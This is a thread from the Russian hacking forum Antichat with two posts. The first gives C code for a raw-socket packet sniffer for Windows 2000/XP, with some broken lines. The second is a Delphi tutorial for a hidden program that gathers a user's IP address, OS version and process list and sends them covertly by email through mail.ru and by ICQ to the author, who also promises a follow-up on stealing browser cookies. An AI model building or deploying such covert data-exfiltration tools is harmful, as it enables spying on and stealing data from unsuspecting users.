ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > С/С++, C#, Delphi, .NET, Asm
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Пример простейшего сниффера для W2K/XP.
  #31  
Старый 26.07.2009, 09:43
Аватар для skippp
skippp
Banned
Регистрация: 11.04.2009
Сообщений: 45
Провел на форуме:
260579

Репутация: 2
Post Пример простейшего сниффера для W2K/XP.

Пример простейшего сниффера для W2K/XP.

Ниже приведён полный код программы. Данный код не претендует на звание крутого снифера, однако при желании его можно доработать, чтобы можно было просматривать содержимое пакетов. Так же на его основе можно легко сделать простой анализатор трафика. А главное - не надо делать всяких драйверов; всё просто и понятно.

Суть этого сниффера заключается в том, что используются сокеты второй версии и созданный сокет переводится в режим promiscuous (прослушивания).

Цитата:
nclude <conio.h>
#include <stdio.h>
#include <winsock2.h>

#define MAX_PACKET_SIZE 0x10000
#define SIO_RCVALL 0x98000001
// Буфер для приёма данных
char Buffer[MAX_PACKET_SIZE]; // 64 Kb

//Структура заголовка IP-пакета

typedef struct IPHeader {
UCHAR iph_verlen; // версия и длина заголовка
UCHAR iph_tos; // тип сервиса
USHORT iph_length; // длина всего пакета
USHORT iph_id; // Идентификация
USHORT iph_offset; // флаги и смещения
UCHAR iph_ttl; // время жизни пакета
UCHAR iph_protocol; // протокол
USHORT iph_xsum; // контрольная сумма
ULONG iph_src; // IP-адрес отправителя
ULONG iph_dest; // IP-адрес назначения
} IPHeader;

char src[10];
char dest[10];
char ds[15];
unsigned short lowbyte;
unsigned short hibyte;

void main()
{
WSADATA wsadata; // Инициализация WinSock.
SOCKET s; // Cлущающий сокет.
char name[128]; // Имя хоста (компьютера).
HOSTENT* phe; // Информация о хосте.
SOCKADDR_IN sa; // Адрес хоста
IN_ADDR sa1; //
unsigned long flag = 1; // Флаг PROMISC Вкл/выкл.

// инициализация
WSAStartup(MAKEWORD(2,2), &wsadata);
s = socket( AF_INET, SOCK_RAW, IPPROTO_IP );
gethostname(name, sizeof(name));
phe = gethostbyname( name );
ZeroMemory( &sa, sizeof(sa) );
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = ((struct in_addr *)phe->h_addr_list[0])->s_addr;
bind(s, (SOCKADDR *)&sa, sizeof(SOCKADDR));

// Включение promiscuous mode.
ioctlsocket(s, SIO_RCVALL, &flag);

// Бесконечный цикл приёма IP-пакетов.
while( !_kbhit() )
{
int count;
count = recv( s, Buffer, sizeof(Buffer), 0 );
// обработка IP-пакета
if( count >= sizeof(IPHeader) )
{
IPHeader* hdr = (IPHeader *)Buffer;
//Начинаем разбор пакета...

strcpy(src,"Пакет: ");
CharToOem(src,dest);
printf(dest);
// Преобразуем в понятный вид адрес отправителя.
printf("From ");
sa1.s_addr = hdr->iph_src;
printf(inet_ntoa(sa1));

// Преобразуем в понятный вид адрес получателя.
printf(" To ");
sa1.s_addr = hdr->iph_dest;
printf(inet_ntoa(sa1));

// Вычисляем протокол. Полный список этих констант
// содержится в файле winsock2.h
printf(" Prot: ");
if(hdr->iph_protocol == IPPROTO_TCP) printf("TCP ");
if(hdr->iph_protocol == IPPROTO_UDP) printf("UDP ");

// Вычисляем размер. Так как в сети принят прямой порядок
// байтов, а не обратный, то прийдётся поменять байты местами.
printf("Size: ");
lowbyte = hdr->iph_length>>8;
hibyte = hdr->iph_length<<8;
hibyte = hibyte + lowbyte;
printf("%s",itoa(hibyte,"",10));

// Вычисляем время жизни пакета.
printf(" TTL:%s",itoa(hdr->iph_ttl,"",10));
printf("\n");

}
}

closesocket( s );
WSACleanup();
}
Для успешной компиляции, необходимо подключить к проекту файл ws2_32.lib. надо изменить строки: printf("%s",itoa(hibyte,"",10)); printf(" TTL:%s",itoa(hdr->iph_ttl,"",10));
 
Ответить с цитированием

[Delphi] IP+cведения о системе на e-mail и ICQ
  #32  
Старый 09.11.2009, 05:23
Аватар для =Zeus=
=Zeus=
Участник форума
Регистрация: 10.08.2009
Сообщений: 238
Провел на форуме:
724939

Репутация: 108
Отправить сообщение для =Zeus= с помощью ICQ
Post [Delphi] IP+cведения о системе на e-mail и ICQ

IP+cведения о системе на e-mail и ICQ

В данной министатье я решил показать небольшой пример того, как можно получить IP пользователя и сведения о его системе, а потом отправить их себе на e-mail. Но нам этого мало. Пускай программа отправляет нам информацию еще и по ICQ. Сразу скажу, что данный материал рассчитан большим образом на новичков. Надеюсь кому-то мой труд пригодится.


Итак, для этого нам понадобятся:
  • "Delphi 7" или "Delphi 2009", так как модуль ICQ работает только на них. Впрочем взять другую версию модуля не проблема.
  • Собственно, сам модуль ICQClient v1.35. Взять его можно здесь: ICQClient v1.35
Качаем, устанавливаем. Как установить компонент для Делфи читаем тут.

Рассмотрим, что должна будет делать наша программа:
1. Получить IP, сведения о системе и системных процессах.
2. Проверить подключение к интернету, и если мы в онлайне то
3. Отправить данные нам на ICQ.
4. Отправить письмо на наш e-mail.

Итак, приступим.

В uses подключим три модуля. Это Winsock (для процедуры получения IP), WinINET (для проверки соединения с интернетом) и Tlhelp32 (для получения списка процессов).
С вкладки "ICQClient" разместим на форме компонент ICQClient. Думаю вы догадались для чего он.
С вкладки "Indy Misc" - IdMessage. С вкладки "Indy Clients" - IdSMTP. Эти компоненты нужны для отправки письма на ваш e-mail.
Ну и напоследок положим 2 таймера, один из них будет каждый определенный промежуток времени проверять, есть ли соединение к интернету, и если есть то отправит нам нужные данные.
Далее опишем несколько нужных нам функций.

В обработчике OnCreate главной формы вставим следующий код, скрывающий нашу форму от посторонних глаз:
Код:
Application.ShowMainForm := false;
Функция для получения IP в строковом формате. В интернете их много, можете взять ту, которая вам нравится больше ))
Код:
function TForm1.IPstr(HostName:String) : String;
LABEL Abort;
TYPE
  TAPInAddr = ARRAY[0..100] OF PInAddr;
  PAPInAddr =^TAPInAddr;
VAR
  WSAData    : TWSAData;
  HostEntPtr : PHostEnt;
  pptr       : PAPInAddr;
  I          : Integer;
BEGIN
  Result:='';
  WSAStartUp($101,WSAData);
  TRY
    HostEntPtr:=GetHostByName(PChar(HostName));
    IF HostEntPtr=NIL THEN
      GOTO Abort;
    pptr:=PAPInAddr(HostEntPtr^.h_addr_list);
    I:=0;
    WHILE pptr^[I]<>NIL DO
    BEGIN
      RESULT:=RESULT+#13#10+inet_ntoa(pptr^[I]^);
      Inc(I);
    END;
    Abort:
  EXCEPT
  END;
  WSACleanUp();
END;
Функция для получения версии операционной системы Windows.
Код:
function TForm1.GetOS: string;
const
  cOsUnknown  = 'unknown';
  cOsWin95    = 'Win95';
  cOsWin98    = 'Win98';
  cOsWin98SE  = 'W98SE';
  cOsWinME    = 'WinME';
  cOsWinNT    = 'WinNT';
  cOsWin2000  = 'Win2000';
  cOsXP       = 'WinXP';
var
  osVerInfo: TOSVersionInfo;
  majorVer, minorVer: Integer;
begin
  Result := cOsUnknown;
  { set operating system type flag }
  osVerInfo.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
  if GetVersionEx(osVerInfo) then
  begin
    majorVer := osVerInfo.dwMajorVersion;
    minorVer := osVerInfo.dwMinorVersion;
    case osVerInfo.dwPlatformId of
      VER_PLATFORM_WIN32_NT: { Windows NT/2000 }
        begin
          if majorVer <= 4 then
            Result := cOsWinNT
          else if (majorVer = 5) and (minorVer = 0) then
            Result := cOsWin2000
          else if (majorVer = 5) and (minorVer = 1) then
            Result := cOsXP
          else
            Result := cOsUnknown;
        end; 
      VER_PLATFORM_WIN32_WINDOWS:  { Windows 9x/ME }
        begin 
          if (majorVer = 4) and (minorVer = 0) then
            Result := cOsWin95
          else if (majorVer = 4) and (minorVer = 10) then
          begin
            if osVerInfo.szCSDVersion[1] = 'A' then
              Result := cOsWin98SE
            else
              Result := cOsWin98;
          end
          else if (majorVer = 4) and (minorVer = 90) then
            Result := cOsWinME
          else
            Result := cOsUnknown;
        end;
      else
        Result := cOsUnknown;
    end;
  end
  else
    Result := cOsUnknown;
end;
Функция получения списка процессов пользователя:
Код:
function TForm1.ProcessInfo: string;
var  hsnap: Thandle;
     procentry: TProcessEntry32;
begin
result:='';
hsnap:=CreateToolHelp32Snapshot(TH32CS_SNAPPROCESS, 0);
procentry.dwSize:=sizeof(procentry);
Process32First(hsnap, procentry);
 repeat
 result:=result+procentry.szexefile+#13#10;
 until
 Process32Next(hsnap, procentry)<>true;
CloseHandle(hsnap);
end;
Вот и все, нужную нам информацию мы собрали, теперь опишем функцию отправки письма на почту. В данном примере будем использовать mail.ru.
Код:
procedure TForm1.SendMail;
begin
  IdSMTP1.Host := 'smtp.mail.ru';
  IdSMTP1.Port := 25;
  IdSMTP1.Username := 'pypkin'; // логин отправителя
  IdSMTP1.Password := '123456'; // пароль отправителя
  IdSMTP1.AuthenticationType:=atLogin;
  with IdMessage1 do
     begin
      Body.Add('IP = ' + IPstr('') + #13#10 + 'OS = ' + GetOS + #13#10 + ProcessInfo);
      From.Text := 'pypkin@mail.ru'; // полный е-майл отправителя
      Recipients.EMailAddresses := 'resyltat@mail.ru'; //полный е-майл получателя
      Subject :='тема письма';
      end;
  IdSMTP1.Connect;
  try
  IdSMTP1.Send(IdMessage1);
  finally
  IdSMTP1.Disconnect;
  end;
end;
Надеюсь ничего сложного? Все функции описаны, приступим непосредственно к отправке. Выставим интервал таймера Timer1 в 5000. А в событии OnTimer напишем:
Код:
procedure TForm1.Timer1Timer(Sender: TObject);
begin
if InternetGetConnectedState(NIL,0)=true then
  try
   Timer1.Enabled:=false;
   ICQClient1.UIN := 123456789;
   ICQClient1.Password := 'пароль отправителя';
   ICQClient1.Login(0, false);
   Timer2.Enabled:=true;
    try
    SendMail;
    sleep(1000);
    except
    end;
 except
 Timer1.Enabled:=true;
 end;
end;
Заведем глобальную переменную logged типа boolean.
Она будет нужна нам чтоб знать, когда наш пользователь ICQ подключится к серверу.
Код:
logged: boolean = false;
Теперь в событии OnLogin компонента ICQClient вставим код:
Код:
procedure TForm1.ICQClient1Login(Sender: TObject);
begin
logged:=true;
end;
В Timer2 выставим интервал в 100, Enabled в False, а в событии OnTimer пишем следующее:
Код:
procedure TForm1.Timer2Timer(Sender: TObject);
begin
if logged = true then
 try
 Timer2.Enabled:=false;
 ICQClient1.SendMessage(987654321, 'IP = ' + IPstr('') + #13#10 + 'OS = ' + GetOS);
 sleep(500);
 except
 end;
end;
Готово! Можно смело компилировать, и ждать письма, которое должно прийти через 5 секунд после запуска программы. При многократном запуске могут возникнуть проблемы с отправкой на ICQ, это связано с тем, что если с одного компьютера слишком часто идет запрос на логинизацию, он блокируется для сервиса на 10-20 мин. Естественно, для того, чтоб все было скрытно, нужно писать на API. Но на первый раз и так сойдет. В следующей статье я расскажу как вытягивать куки из-под 3-х известных броузеров.
Надеюсь вы не пожалели, что потратили время на чтение данного материала. Удачи!

Исходники:
http://slil.ru/28178545
http://depositfiles.com/files/a07uyv66x

Последний раз редактировалось =Zeus=; 09.11.2009 в 13:53..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Мы покупаем статьи Spider Agent Разное - Покупка, продажа, обмен 40 26.09.2009 12:56
Ответы на часто задаваемые вопросы + линки на статьи по SQL/XSS/PHP-инклуд Jokester Уязвимости 2 28.06.2009 00:19
Статьи, есть ли от них польза? John Gonzo Белые методы раскрутки 19 11.05.2009 01:03
как писать статьи fucker"ok Статьи 0 03.07.2006 21:02



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ